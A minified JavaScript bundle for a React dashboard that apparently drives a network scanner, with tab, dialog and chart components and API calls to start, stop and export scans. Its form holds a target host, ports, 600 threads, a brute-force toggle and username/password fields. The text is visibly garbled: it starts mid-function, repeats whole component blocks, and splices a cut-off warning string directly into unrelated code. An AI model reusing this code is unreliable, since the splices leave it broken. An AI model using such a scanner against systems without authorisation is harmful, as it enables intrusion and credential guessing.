B=!M.current;if(I.target===I.currentTarget&&B&&!A){const q=new CustomEvent(r0,$le);if(I.currentTarget.dispatchEvent(q),!q.defaultPrevented){const U=j().filter(L=>L.focusable),V=U.find(L=>L.active),oe=U.find(L=>L.id===w),ce=[V,oe,...U].filter(Boolean).map(L=>L.ref.current);QI(ce,p)}}M.current=!1}),onBlur:ue(e.onBlur,()=>_(!1))})})}),XI="RovingFocusGroupItem",ZI=v.forwardRef((e,t)=>{const{__scopeRovingFocusGroup:n,focusable:r=!0,active:i=!1,tabStopId:l,children:c,...u}=e,f=sr(),h=l||f,p=qle(XI,n),m=p.currentTabStopId===h,y=GI(n),{onFocusableItemAdd:x,onFocusableItemRemove:S,currentTabStopId:w}=p;return v.useEffect(()=>{if(r)return x(),()=>S()},[r,x,S]),E.jsx(Eb.ItemSlot,{scope:n,id:h,focusable:r,active:i,children:E.jsx(Ce.span,{tabIndex:m?0:-1,"data-orientation":p.orientation,...u,ref:t,onMouseDown:ue(e.onMouseDown,O=>{r?p.onItemFocus(h):O.preventDefault()}),onFocus:ue(e.onFocus,()=>p.onItemFocus(h)),onKeyDown:ue(e.onKeyDown,O=>{if(O.key==="Tab"&&O.shiftKey){p.onItemShiftTab();return}if(O.target!==O.currentTarget)return;const A=Yle(O,p.orientation,p.dir);if(A!==void 0){if(O.metaKey||O.ctrlKey||O.altKey||O.shiftKey)return;O.preventDefault();let T=y().filter(j=>j.focusable).map(j=>j.ref.current);if(A==="last")T.reverse();else if(A==="prev"||A==="next"){A==="prev"&&T.reverse();const j=T.indexOf(O.currentTarget);T=p.loop?Gle(T,j+1):T.slice(j+1)}setTimeout(()=>QI(T))}}),children:typeof c=="function"?c({isCurrentTabStop:m,hasTabStop:w!=null}):c})})});ZI.displayName=XI;var Vle={ArrowLeft:"prev",ArrowUp:"prev",ArrowRight:"next",ArrowDown:"next",PageUp:"first",Home:"first",PageDown:"last",End:"last"};function Kle(e,t){return t!=="rtl"?e:e==="ArrowLeft"?"ArrowRight":e==="ArrowRight"?"ArrowLeft":e}function Yle(e,t,n){const r=Kle(e.key,n);if(!(t==="vertical"&&["ArrowLeft","ArrowRight"].includes(r))&&!(t==="horizontal"&&["ArrowUp","ArrowDown"].includes(r)))return Vle[r]}function QI(e,t=!1){const n=document.activeElement;for(const r of e)if(r===n||(r.focus({preventScroll:t}),document.activeElement!==n))return}function Gle(e,t){return e.map((n,r)=>e[(t+r)%e.length])}var JI=WI,e3=ZI,Bp="Tabs",[Wle]=Fn(Bp,[$p]),t3=$p(),[Xle,J1]=Wle(Bp),n3=v.forwardRef((e,t)=>{const{__scopeTabs:n,value:r,onValueChange:i,defaultValue:l,orientation:c="horizontal",dir:u,activationMode:f="automatic",...h}=e,p=Kc(u),[m,y]=Oa({prop:r,onChange:i,defaultProp:l??"",caller:Bp});return E.jsx(Xle,{scope:n,baseId:sr(),value:m,onValueChange:y,orientation:c,dir:p,activationMode:f,children:E.jsx(Ce.div,{dir:p,"data-orientation":c,...h,ref:t})})});n3.displayName=Bp;var r3="TabsList",a3=v.forwardRef((e,t)=>{const{__scopeTabs:n,loop:r=!0,...i}=e,l=J1(r3,n),c=t3(n);return E.jsx(JI,{asChild:!0,...c,orientation:l.orientation,dir:l.dir,loop:r,children:E.jsx(Ce.div,{role:"tablist","aria-orientation":l.orientation,...i,ref:t})})});a3.displayName=r3;var i3="TabsTrigger",o3=v.forwardRef((e,t)=>{const{__scopeTabs:n,value:r,disabled:i=!1,...l}=e,c=J1(i3,n),u=t3(n),f=c3(c.baseId,r),h=u3(c.baseId,r),p=r===c.value;return E.jsx(e3,{asChild:!0,...u,focusable:!i,active:p,children:E.jsx(Ce.button,{type:"button",role:"tab","aria-selected":p,"aria-controls":h,"data-state":p?"active":"inactive","data-disabled":i?"":void 0,disabled:i,id:f,...l,ref:t,onMouseDown:ue(e.onMouseDown,m=>{!i&&m.button===0&&m.ctrlKey===!1?c.onValueChange(r):m.preventDefault()}),onKeyDown:ue(e.onKeyDown,m=>{[" ","Enter"].includes(m.key)&&c.onValueChange(r)}),onFocus:ue(e.onFocus,()=>{const m=c.activationMode!=="manual";!p&&!i&&m&&c.onValueChange(r)})})})});o3.displayName=i3;var l3="TabsContent",s3=v.forwardRef((e,t)=>{const{__scopeTabs:n,value:r,forceMount:i,children:l,...c}=e,u=J1(l3,n),f=c3(u.baseId,r),h=u3(u.baseId,r),p=r===u.value,m=v.useRef(p);return v.useEffect(()=>{const y=requestAnimationFrame(()=>m.current=!1);return()=>cancelAnimationFrame(y)},[]),E.jsx(ln,{present:i||p,children:({present:y})=>E.jsx(Ce.div,{"data-state":p?"active":"inactive","data-orientation":u.orientation,role:"tabpanel","aria-labelledby":f,hidden:!y,id:h,tabIndex:0,...c,ref:t,style:{...e.style,animationDuration:m.current?"0s":void 0},children:y&&l})})});s3.displayName=l3;function c3(e,t){return`${e}-trigger-${t}`}function u3(e,t){return`${e}-content-${t}`}var Zle=n3,f3=a3,d3=o3,h3=s3;const Qle=Zle,p3=v.forwardRef(({className:e,...t},n)=>E.jsx(f3,{ref:n,className:Ee("inline-flex h-10 items-center justify-center rounded-md bg-muted p-1 text-muted-foreground",e),...t}));p3.displayName=f3.displayName;const Ol=v.forwardRef(({className:e,...t},n)=>E.jsx(d3,{ref:n,className:Ee("inline-flex items-center justify-center whitespace-nowrap rounded-sm px-3 py-1.5 text-sm font-medium ring-offset-background transition-all focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring focus-visible:ring-offset-2 disabled:pointer-events-none disabled:opacity-50 data-[state=active]:bg-background data-[state=active]:text-foreground data-[state=active]:shadow-sm",e),...t}));Ol.displayName=d3.displayName;const m3=v.forwardRef(({className:e,...t},n)=>E.jsx(h3,{ref:n,className:Ee("mt-2 ring-offset-background focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring focus-visible:ring-offset-2",e),...t}));m3.displayName=h3.displayName;var Jle=["a","button","div","form","h2","h3","img","input","label","li","nav","ol","p","select","span","svg","ul"],ese=Jle.reduce((e,t)=>{const n=Rh(`Primitive.${t}`),r=v.forwardRef((i,l)=>{const{asChild:c,...u}=i,f=c?n:t;return typeof window<"u"&&(window[Symbol.for("radix-ui")]=!0),E.jsx(f,{...u,ref:l})});return r.displayName=`Primitive.${t}`,{...e,[t]:r}},{}),tse="Separator",oM="horizontal",nse=["horizontal","vertical"],v3=v.forwardRef((e,t)=>{const{decorative:n,orientation:r=oM,...i}=e,l=rse(r)?r:oM,u=n?{role:"none"}:{"aria-orientation":l==="vertical"?l:void 0,role:"separator"};return E.jsx(ese.div,{"data-orientation":l,...u,...i,ref:t})});v3.displayName=tse;function rse(e){return nse.includes(e)}var g3=v3;const y3=v.forwardRef(({className:e,orientation:t="horizontal",decorative:n=!0,...r},i)=>E.jsx(g3,{ref:i,decorative:n,orientation:t,className:Ee("shrink-0 bg-border",t==="horizontal"?"h-[1px] w-full":"h-full w-[1px]",e),...r}));y3.displayName=g3.displayName;function ase(e){const t=ise(e),n=v.forwardRef((r,i)=>{const{children:l,...c}=r,u=v.Children.toArray(l),f=u.find(lse);if(f){const h=f.props.children,p=u.map(m=>m===f?v.Children.count(h)>1?v.Children.only(null):v.isValidElement(h)?h.props.children:null:m);return E.jsx(t,{...c,ref:i,children:v.isValidElement(h)?v.cloneElement(h,void 0,p):null})}return E.jsx(t,{...c,ref:i,children:l})});return n.displayName=`${e}.Slot`,n}function ise(e){const t=v.forwardRef((n,r)=>{const{children:i,...l}=n;if(v.isValidElement(i)){const c=cse(i),u=sse(l,i.props);return i.type!==v.Fragment&&(u.ref=r?ja(r,c):c),v.cloneElement(i,u)}return v.Children.count(i)>1?v.Children.only(null):null});return t.displayName=`${e}.SlotClone`,t}var ose=Symbol("radix.slottable");function lse(e){return v.isValidElement(e)&&typeof e.type=="function"&&"__radixId"in e.type&&e.type.__radixId===ose}function sse(e,t){const n={...t};for(const r in t){const i=e[r],l=t[r];/^on[A-Z]/.test(r)?i&&l?n[r]=(...u)=>{const f=l(...u);return i(...u),f}:i&&(n[r]=i):r==="style"?n[r]={...i,...l}:r==="className"&&(n[r]=[i,l].filter(Boolean).join(" "))}return{...e,...n}}function cse(e){let t=Object.getOwnPropertyDescriptor(e.props,"ref")?.get,n=t&&"isReactWarning"in t&&t.isReactWarning;return n?e.ref:(t=Object.getOwnPropertyDescriptor(e,"ref")?.get,n=t&&"isReactWarning"in t&&t.isReactWarning,n?e.props.ref:e.props.ref||e.ref)}var Up="Dialog",[b3,x3]=Fn(Up),[use,_r]=b3(Up),w3=e=>{const{__scopeDialog:t,children:n,open:r,defaultOpen:i,onOpenChange:l,modal:c=!0}=e,u=v.useRef(null),f=v.useRef(null),[h,p]=Oa({prop:r,defaultProp:i??!1,onChange:l,caller:Up});return E.jsx(use,{scope:t,triggerRef:u,contentRef:f,contentId:sr(),titleId:sr(),descriptionId:sr(),open:h,onOpenChange:p,onOpenToggle:v.useCallback(()=>p(m=>!m),[p]),modal:c,children:n})};w3.displayName=Up;var S3="DialogTrigger",O3=v.forwardRef((e,t)=>{const{__scopeDialog:n,...r}=e,i=_r(S3,n),l=De(t,i.triggerRef);return E.jsx(Ce.button,{type:"button","aria-haspopup":"dialog","aria-expanded":i.open,"aria-controls":i.contentId,"data-state":nw(i.open),...r,ref:l,onClick:ue(e.onClick,i.onOpenToggle)})});O3.displayName=S3;var ew="DialogPortal",[fse,E3]=b3(ew,{forceMount:void 0}),A3=e=>{const{__scopeDialog:t,forceMount:n,children:r,container:i}=e,l=_r(ew,t);return E.jsx(fse,{scope:t,forceMount:n,children:v.Children.map(r,c=>E.jsx(ln,{present:n||l.open,children:E.jsx(Fc,{asChild:!0,container:i,children:c})}))})};A3.displayName=ew;var wh="DialogOverlay",C3=v.forwardRef((e,t)=>{const n=E3(wh,e.__scopeDialog),{forceMount:r=n.forceMount,...i}=e,l=_r(wh,e.__scopeDialog);return l.modal?E.jsx(ln,{present:r||l.open,children:E.jsx(hse,{...i,ref:t})}):null});C3.displayName=wh;var dse=ase("DialogOverlay.RemoveScroll"),hse=v.forwardRef((e,t)=>{const{__scopeDialog:n,...r}=e,i=_r(wh,n);return E.jsx(zh,{as:dse,allowPinchZoom:!0,shards:[i.contentRef],children:E.jsx(Ce.div,{"data-state":nw(i.open),...r,ref:t,style:{pointerEvents:"auto",...r.style}})})}),xo="DialogContent",_3=v.forwardRef((e,t)=>{const n=E3(xo,e.__scopeDialog),{forceMount:r=n.forceMount,...i}=e,l=_r(xo,e.__scopeDialog);return E.jsx(ln,{present:r||l.open,children:l.modal?E.jsx(pse,{...i,ref:t}):E.jsx(mse,{...i,ref:t})})});_3.displayName=xo;var pse=v.forwardRef((e,t)=>{const n=_r(xo,e.__scopeDialog),r=v.useRef(null),i=De(t,n.contentRef,r);return v.useEffect(()=>{const l=r.current;if(l)return Gb(l)},[]),E.jsx(T3,{...e,ref:i,trapFocus:n.open,disableOutsidePointerEvents:!0,onCloseAutoFocus:ue(e.onCloseAutoFocus,l=>{l.preventDefault(),n.triggerRef.current?.focus()}),onPointerDownOutside:ue(e.onPointerDownOutside,l=>{const c=l.detail.originalEvent,u=c.button===0&&c.ctrlKey===!0;(c.button===2||u)&&l.preventDefault()}),onFocusOutside:ue(e.onFocusOutside,l=>l.preventDefault())})}),mse=v.forwardRef((e,t)=>{const n=_r(xo,e.__scopeDialog),r=v.useRef(!1),i=v.useRef(!1);return E.jsx(T3,{...e,ref:t,trapFocus:!1,disableOutsidePointerEvents:!1,onCloseAutoFocus:l=>{e.onCloseAutoFocus?.(l),l.defaultPrevented||(r.current||n.triggerRef.current?.focus(),l.preventDefault()),r.current=!1,i.current=!1},onInteractOutside:l=>{e.onInteractOutside?.(l),l.defaultPrevented||(r.current=!0,l.detail.originalEvent.type==="pointerdown"&&(i.current=!0));const c=l.target;n.triggerRef.current?.contains(c)&&l.preventDefault(),l.detail.originalEvent.type==="focusin"&&i.current&&l.preventDefault()}})}),T3=v.forwardRef((e,t)=>{const{__scopeDialog:n,trapFocus:r,onOpenAutoFocus:i,onCloseAutoFocus:l,...c}=e,u=_r(xo,n),f=v.useRef(null),h=De(t,f);return Yb(),E.jsxs(E.Fragment,{children:[E.jsx(Lh,{asChild:!0,loop:!0,trapped:r,onMountAutoFocus:i,onUnmountAutoFocus:l,children:E.jsx(Hc,{role:"dialog",id:u.contentId,"aria-describedby":u.descriptionId,"aria-labelledby":u.titleId,"data-state":nw(u.open),...c,ref:h,onDismiss:()=>u.onOpenChange(!1)})}),E.jsxs(E.Fragment,{children:[E.jsx(gse,{titleId:u.titleId}),E.jsx(bse,{contentRef:f,descriptionId:u.descriptionId})]})]})}),tw="DialogTitle",N3=v.forwardRef((e,t)=>{const{__scopeDialog:n,...r}=e,i=_r(tw,n);return E.jsx(Ce.h2,{id:i.titleId,...r,ref:t})});N3.displayName=tw;var M3="DialogDescription",j3=v.forwardRef((e,t)=>{const{__scopeDialog:n,...r}=e,i=_r(M3,n);return E.jsx(Ce.p,{id:i.descriptionId,...r,ref:t})});j3.displayName=M3;var P3="DialogClose",R3=v.forwardRef((e,t)=>{const{__scopeDialog:n,...r}=e,i=_r(P3,n);return E.jsx(Ce.button,{type:"button",...r,ref:t,onClick:ue(e.onClick,()=>i.onOpenChange(!1))})});R3.displayName=P3;function nw(e){return e?"open":"closed"}var D3="DialogTitleWarning",[vse,k3]=BB(D3,{contentName:xo,titleName:tw,docsSlug:"dialog"}),gse=({titleId:e})=>{const t=k3(D3),n=`\`${t.contentName}\` requires a \`${t.titleName}\` for the component to be accessible for screen reader users. +Defaulting to \`null\`.`}var VI=UI,Tle=qI;const KI=v.forwardRef(({className:e,value:t,...n},r)=>E.jsx(VI,{ref:r,className:Ee("relative h-2 w-full overflow-hidden rounded-full bg-secondary",e),...n,children:E.jsx(Tle,{className:"h-full w-full flex-1 bg-primary transition-all",style:{transform:`translateX(-${100-(t||0)}%)`}})}));KI.displayName=VI.displayName;const YI=v.createContext(null);function Nle(){const e=v.useContext(YI);if(!e)throw new Error("useChart must be used within a ");return e}const bh=v.forwardRef(({id:e,className:t,children:n,config:r,...i},l)=>{const c=v.useId(),u=`chart-${e||c.replace(/:/g,"")}`;return E.jsx(YI.Provider,{value:{config:r},children:E.jsx("div",{"data-chart":u,ref:l,className:Ee("flex aspect-video justify-center text-xs [&_.recharts-cartesian-axis-tick_text]:fill-muted-foreground [&_.recharts-cartesian-grid_line[stroke='#ccc']]:stroke-border/50 [&_.recharts-curve.recharts-tooltip-cursor]:stroke-border [&_.recharts-dot[stroke='#fff']]:stroke-transparent [&_.recharts-layer]:outline-none [&_.recharts-polar-grid_[stroke='#ccc']]:stroke-border [&_.recharts-radial-bar-background-sector]:fill-muted [&_.recharts-rectangle.recharts-tooltip-cursor]:fill-muted [&_.recharts-reference-line_[stroke='#ccc']]:stroke-border [&_.recharts-sector[stroke='#fff']]:stroke-transparent [&_.recharts-sector]:outline-none [&_.recharts-surface]:outline-none",t),...i,children:E.jsx(pY,{children:n})})})});bh.displayName="Chart";const Ob=nte,xh=v.forwardRef(({active:e,payload:t,className:n,indicator:r="dot",hideLabel:i=!1,hideIndicator:l=!1,label:c,labelFormatter:u,formatter:f,nameKey:h,labelKey:p},m)=>{const{config:y}=Nle(),x=v.useMemo(()=>{if(i||!t?.length)return null;const[w]=t,O=`${p||w?.dataKey||w?.name||"value"}`,_=y[O]?.label||c;return u&&t?E.jsx("div",{className:"font-medium",children:u(_,t)}):_?E.jsx("div",{className:"font-medium",children:_}):null},[c,u,t,i,y,p]);if(!e||!t?.length)return null;const S=t.length===1&&r!=="dot";return E.jsxs("div",{ref:m,className:Ee("grid min-w-[8rem] items-start gap-1.5 rounded-lg border border-border/50 bg-background px-2.5 py-1.5 text-xs shadow-xl",n),children:[S?null:x,E.jsx("div",{className:"grid gap-1.5",children:t.map((w,O)=>{const A=`${h||w.name||w.dataKey||"value"}`,_=y[A],T=w.payload?.fill||w.fill||w.color;return E.jsx("div",{className:Ee("flex w-full flex-wrap items-stretch gap-2 [&>svg]:h-2.5 [&>svg]:w-2.5 [&>svg]:text-muted-foreground",r==="dot"&&"items-center"),children:f&&w?.value!==void 0&&w.name?f(w.value,w.name,w,O,w.payload):E.jsxs(E.Fragment,{children:[_?.icon?E.jsx(_.icon,{}):!l&&E.jsx("div",{className:Ee("shrink-0 rounded-[2px]",{"h-2.5 w-2.5":r==="dot","w-1":r==="line","w-0 border-[1.5px] border-dashed bg-transparent":r==="dashed","my-0.5":S&&r==="dashed"}),style:{backgroundColor:T,borderColor:T}}),E.jsxs("div",{className:Ee("flex flex-1 justify-between leading-none",S?"items-end":"items-center"),children:[E.jsxs("div",{className:"grid gap-1.5",children:[S?x:null,E.jsx("span",{className:"text-muted-foreground",children:_?.label||w.name})]}),w.value!==void 0&&E.jsx("span",{className:"font-mono font-medium tabular-nums text-foreground",children:w.value.toLocaleString()})]})]})},w.dataKey||O)})})]})});xh.displayName="ChartTooltip";const ar={hosts:"hsl(var(--chart-1))",ports:"hsl(var(--chart-2))",services:"hsl(var(--chart-3))",vulns:"hsl(var(--chart-4))"};function Mle({status:e}){const{t}=xo(),n=e?.state==="running",r=e?.state==="stopping",i=v.useMemo(()=>e?.stats?[{name:t("statsHosts"),value:e.stats.hosts_scanned||0,fill:ar.hosts},{name:t("statsPorts"),value:e.stats.ports_scanned||0,fill:ar.ports},{name:t("statsServices"),value:e.stats.services_found||0,fill:ar.services},{name:t("statsVulns"),value:e.stats.vulns_found||0,fill:ar.vulns}].filter(f=>f.value>0):[],[e?.stats,t]),l={hosts:{label:t("statsHosts"),color:ar.hosts},ports:{label:t("statsPorts"),color:ar.ports},services:{label:t("statsServices"),color:ar.services},vulns:{label:t("statsVulns"),color:ar.vulns}},c=v.useMemo(()=>e?.stats?(e.stats.hosts_scanned||0)+(e.stats.ports_scanned||0)+(e.stats.services_found||0)+(e.stats.vulns_found||0):0,[e?.stats]),u=[{key:"hosts",label:t("statsHosts"),value:e?.stats.hosts_scanned||0,color:ar.hosts},{key:"ports",label:t("statsPorts"),value:e?.stats.ports_scanned||0,color:ar.ports},{key:"services",label:t("statsServices"),value:e?.stats.services_found||0,color:ar.services},{key:"vulns",label:t("statsVulns"),value:e?.stats.vulns_found||0,color:ar.vulns}];return E.jsxs(Gl,{className:"h-full",children:[E.jsxs(Wl,{className:"flex flex-row items-center justify-between space-y-0 pb-3",children:[E.jsxs(Xl,{className:"flex items-center gap-2 text-base",children:[E.jsx(xd,{className:"w-4 h-4 sm:w-5 sm:h-5 text-muted-foreground"}),t("resultsDistribution")]}),E.jsxs(ga,{variant:n?"default":r?"secondary":"outline",className:"gap-1",children:[n?E.jsx(yM,{className:"w-3 h-3"}):r?E.jsx(c0,{className:"w-3 h-3 animate-spin"}):E.jsx(xM,{className:"w-3 h-3"}),t(n?"scanRunning":r?"statusStopping":"statusIdle")]})]}),E.jsxs(Zl,{className:"space-y-6",children:[n&&E.jsxs("div",{className:"space-y-2",children:[E.jsxs("div",{className:"flex items-center justify-between text-sm",children:[E.jsx("span",{className:"text-muted-foreground",children:t("loading")}),E.jsxs("span",{className:"font-mono text-primary text-lg",children:[e?.progress||0,"%"]})]}),E.jsx(KI,{value:e?.progress||0,className:"h-3"})]}),c>0?E.jsx("div",{className:"flex justify-center py-4",children:E.jsx(bh,{config:l,className:"h-[180px] w-[180px] aspect-square",children:E.jsxs($I,{children:[E.jsx(F1,{data:i,dataKey:"value",nameKey:"name",innerRadius:45,outerRadius:75,strokeWidth:3,stroke:"hsl(var(--background))",children:i.map((f,h)=>E.jsx(vo,{fill:f.fill},`cell-${h}`))}),E.jsx(Ob,{content:E.jsx(xh,{hideLabel:!0})})]})})}):E.jsx(Vh,{icon:xd,title:t("chartEmptyTitle"),description:t("chartEmptyDescription"),className:"py-8"}),E.jsx("div",{className:"space-y-3",children:u.map(f=>E.jsxs("div",{className:"flex items-center justify-between p-3 rounded-lg bg-muted/50",children:[E.jsxs("div",{className:"flex items-center gap-3",children:[E.jsx("div",{className:"w-4 h-4 rounded",style:{backgroundColor:f.color}}),E.jsx("span",{className:"text-muted-foreground",children:f.label})]}),E.jsx("span",{className:"font-mono font-semibold text-lg",children:f.value})]},f.key))}),E.jsx("div",{className:"pt-4 border-t",children:E.jsxs("div",{className:"flex items-center justify-between",children:[E.jsx("span",{className:"text-muted-foreground font-medium",children:t("items")}),E.jsx("span",{className:"font-mono font-bold text-2xl",children:c})]})})]})]})}const _o="/api";async function jle(e){const t=await fetch(`${_o}/scan/start`,{method:"POST",headers:{"Content-Type":"application/json"},body:JSON.stringify(e)});if(!t.ok){const n=await t.json();throw new Error(n.error||"Failed to start scan")}return t.json()}async function Ple(){const e=await fetch(`${_o}/scan/stop`,{method:"POST"});if(!e.ok){const t=await e.json();throw new Error(t.error||"Failed to stop scan")}return e.json()}async function iM(){const e=await fetch(`${_o}/scan/status`);if(!e.ok)throw new Error("Failed to get scan status");return e.json()}async function Rle(e){const t=`${_o}/results`,n=await fetch(t);if(!n.ok)throw new Error("Failed to get results");return n.json()}async function Dle(e){const t=await fetch(`${_o}/results/export?format=${e}`);if(!t.ok)throw new Error("Failed to export results");return t.blob()}async function kle(){const e=await fetch(`${_o}/results/clear`,{method:"POST"});if(!e.ok)throw new Error("Failed to clear results");return e.json()}async function Lle(){const e=await fetch(`${_o}/config/presets`);if(!e.ok)throw new Error("Failed to get presets");return e.json()}const Ile={host:"",ports:"",scan_mode:"all",thread_num:600,timeout:3,disable_ping:!1,disable_brute:!1,alive_only:!1,username:"",password:"",domain:"",exclude_hosts:"",exclude_ports:""};function zle(){const{t:e}=xo(),{clearLogs:t}=ax(),[n,r]=v.useState(null),[i,l]=v.useState([]),[c,u]=v.useState(!1),[f,h]=v.useState(null),[p,m]=v.useState(Ile);v.useEffect(()=>{(async()=>{try{const[_,T]=await Promise.all([iM(),Lle()]);r(_),l(T)}catch(_){console.error("Failed to fetch data:",_)}})();const A=setInterval(async()=>{try{const _=await iM();r(_)}catch{}},2e3);return()=>clearInterval(A)},[]);const y=async()=>{if(!p.host){h(e("targetRequired"));return}u(!0),h(null),t();try{await jle(p)}catch(O){h(O instanceof Error?O.message:e("startScanFailed"))}finally{u(!1)}},x=async()=>{u(!0);try{await Ple()}catch(O){h(O instanceof Error?O.message:e("stopScanFailed"))}finally{u(!1)}},S=n?.state==="running",w=n?.state==="stopping";return E.jsx(xj,{children:E.jsxs("div",{className:"grid grid-cols-1 lg:grid-cols-10 gap-4 h-full",children:[E.jsxs("div",{className:"lg:col-span-7 flex flex-col gap-4 min-h-0",children:[E.jsx(tq,{formData:p,onFormChange:m,presets:i,isRunning:S,isStopping:w,loading:c,error:f,onStart:y,onStop:x}),E.jsx(GP,{})]}),E.jsx("div",{className:"lg:col-span-3",children:E.jsx(Mle,{status:n})})]})})}var r0="rovingFocusGroup.onEntryFocus",$le={bubbles:!1,cancelable:!0},mu="RovingFocusGroup",[Eb,GI,Ble]=Kb(mu),[Ule,$p]=Fn(mu,[Ble]),[Hle,qle]=Ule(mu),WI=v.forwardRef((e,t)=>E.jsx(Eb.Provider,{scope:e.__scopeRovingFocusGroup,children:E.jsx(Eb.Slot,{scope:e.__scopeRovingFocusGroup,children:E.jsx(Fle,{...e,ref:t})})}));WI.displayName=mu;var Fle=v.forwardRef((e,t)=>{const{__scopeRovingFocusGroup:n,orientation:r,loop:i=!1,dir:l,currentTabStopId:c,defaultCurrentTabStopId:u,onCurrentTabStopIdChange:f,onEntryFocus:h,preventScrollOnEntryFocus:p=!1,...m}=e,y=v.useRef(null),x=De(t,y),S=Kc(l),[w,O]=Oa({prop:c,defaultProp:u??null,onChange:f,caller:mu}),[A,_]=v.useState(!1),T=en(h),j=GI(n),M=v.useRef(!1),[P,R]=v.useState(0);return v.useEffect(()=>{const I=y.current;if(I)return I.addEventListener(r0,T),()=>I.removeEventListener(r0,T)},[T]),E.jsx(Hle,{scope:n,orientation:r,dir:S,loop:i,currentTabStopId:w,onItemFocus:v.useCallback(I=>O(I),[O]),onItemShiftTab:v.useCallback(()=>_(!0),[]),onFocusableItemAdd:v.useCallback(()=>R(I=>I+1),[]),onFocusableItemRemove:v.useCallback(()=>R(I=>I-1),[]),children:E.jsx(Ce.div,{tabIndex:A||P===0?-1:0,"data-orientation":r,...m,ref:x,style:{outline:"none",...e.style},onMouseDown:ue(e.onMouseDown,()=>{M.current=!0}),onFocus:ue(e.onFocus,I=>{const B=!M.current;if(I.target===I.currentTarget&&B&&!A){const q=new CustomEvent(r0,$le);if(I.currentTarget.dispatchEvent(q),!q.defaultPrevented){const U=j().filter(L=>L.focusable),V=U.find(L=>L.active),oe=U.find(L=>L.id===w),ce=[V,oe,...U].filter(Boolean).map(L=>L.ref.current);QI(ce,p)}}M.current=!1}),onBlur:ue(e.onBlur,()=>_(!1))})})}),XI="RovingFocusGroupItem",ZI=v.forwardRef((e,t)=>{const{__scopeRovingFocusGroup:n,focusable:r=!0,active:i=!1,tabStopId:l,children:c,...u}=e,f=sr(),h=l||f,p=qle(XI,n),m=p.currentTabStopId===h,y=GI(n),{onFocusableItemAdd:x,onFocusableItemRemove:S,currentTabStopId:w}=p;return v.useEffect(()=>{if(r)return x(),()=>S()},[r,x,S]),E.jsx(Eb.ItemSlot,{scope:n,id:h,focusable:r,active:i,children:E.jsx(Ce.span,{tabIndex:m?0:-1,"data-orientation":p.orientation,...u,ref:t,onMouseDown:ue(e.onMouseDown,O=>{r?p.onItemFocus(h):O.preventDefault()}),onFocus:ue(e.onFocus,()=>p.onItemFocus(h)),onKeyDown:ue(e.onKeyDown,O=>{if(O.key==="Tab"&&O.shiftKey){p.onItemShiftTab();return}if(O.target!==O.currentTarget)return;const A=Yle(O,p.orientation,p.dir);if(A!==void 0){if(O.metaKey||O.ctrlKey||O.altKey||O.shiftKey)return;O.preventDefault();let T=y().filter(j=>j.focusable).map(j=>j.ref.current);if(A==="last")T.reverse();else if(A==="prev"||A==="next"){A==="prev"&&T.reverse();const j=T.indexOf(O.currentTarget);T=p.loop?Gle(T,j+1):T.slice(j+1)}setTimeout(()=>QI(T))}}),children:typeof c=="function"?c({isCurrentTabStop:m,hasTabStop:w!=null}):c})})});ZI.displayName=XI;var Vle={ArrowLeft:"prev",ArrowUp:"prev",ArrowRight:"next",ArrowDown:"next",PageUp:"first",Home:"first",PageDown:"last",End:"last"};function Kle(e,t){return t!=="rtl"?e:e==="ArrowLeft"?"ArrowRight":e==="ArrowRight"?"ArrowLeft":e}function Yle(e,t,n){const r=Kle(e.key,n);if(!(t==="vertical"&&["ArrowLeft","ArrowRight"].includes(r))&&!(t==="horizontal"&&["ArrowUp","ArrowDown"].includes(r)))return Vle[r]}function QI(e,t=!1){const n=document.activeElement;for(const r of e)if(r===n||(r.focus({preventScroll:t}),document.activeElement!==n))return}function Gle(e,t){return e.map((n,r)=>e[(t+r)%e.length])}var JI=WI,e3=ZI,Bp="Tabs",[Wle]=Fn(Bp,[$p]),t3=$p(),[Xle,J1]=Wle(Bp),n3=v.forwardRef((e,t)=>{const{__scopeTabs:n,value:r,onValueChange:i,defaultValue:l,orientation:c="horizontal",dir:u,activationMode:f="automatic",...h}=e,p=Kc(u),[m,y]=Oa({prop:r,onChange:i,defaultProp:l??"",caller:Bp});return E.jsx(Xle,{scope:n,baseId:sr(),value:m,onValueChange:y,orientation:c,dir:p,activationMode:f,children:E.jsx(Ce.div,{dir:p,"data-orientation":c,...h,ref:t})})});n3.displayName=Bp;var r3="TabsList",a3=v.forwardRef((e,t)=>{const{__scopeTabs:n,loop:r=!0,...i}=e,l=J1(r3,n),c=t3(n);return E.jsx(JI,{asChild:!0,...c,orientation:l.orientation,dir:l.dir,loop:r,children:E.jsx(Ce.div,{role:"tablist","aria-orientation":l.orientation,...i,ref:t})})});a3.displayName=r3;var i3="TabsTrigger",o3=v.forwardRef((e,t)=>{const{__scopeTabs:n,value:r,disabled:i=!1,...l}=e,c=J1(i3,n),u=t3(n),f=c3(c.baseId,r),h=u3(c.baseId,r),p=r===c.value;return E.jsx(e3,{asChild:!0,...u,focusable:!i,active:p,children:E.jsx(Ce.button,{type:"button",role:"tab","aria-selected":p,"aria-controls":h,"data-state":p?"active":"inactive","data-disabled":i?"":void 0,disabled:i,id:f,...l,ref:t,onMouseDown:ue(e.onMouseDown,m=>{!i&&m.button===0&&m.ctrlKey===!1?c.onValueChange(r):m.preventDefault()}),onKeyDown:ue(e.onKeyDown,m=>{[" ","Enter"].includes(m.key)&&c.onValueChange(r)}),onFocus:ue(e.onFocus,()=>{const m=c.activationMode!=="manual";!p&&!i&&m&&c.onValueChange(r)})})})});o3.displayName=i3;var l3="TabsContent",s3=v.forwardRef((e,t)=>{const{__scopeTabs:n,value:r,forceMount:i,children:l,...c}=e,u=J1(l3,n),f=c3(u.baseId,r),h=u3(u.baseId,r),p=r===u.value,m=v.useRef(p);return v.useEffect(()=>{const y=requestAnimationFrame(()=>m.current=!1);return()=>cancelAnimationFrame(y)},[]),E.jsx(ln,{present:i||p,children:({present:y})=>E.jsx(Ce.div,{"data-state":p?"active":"inactive","data-orientation":u.orientation,role:"tabpanel","aria-labelledby":f,hidden:!y,id:h,tabIndex:0,...c,ref:t,style:{...e.style,animationDuration:m.current?"0s":void 0},children:y&&l})})});s3.displayName=l3;function c3(e,t){return`${e}-trigger-${t}`}function u3(e,t){return`${e}-content-${t}`}var Zle=n3,f3=a3,d3=o3,h3=s3;const Qle=Zle,p3=v.forwardRef(({className:e,...t},n)=>E.jsx(f3,{ref:n,className:Ee("inline-flex h-10 items-center justify-center rounded-md bg-muted p-1 text-muted-foreground",e),...t}));p3.displayName=f3.displayName;const 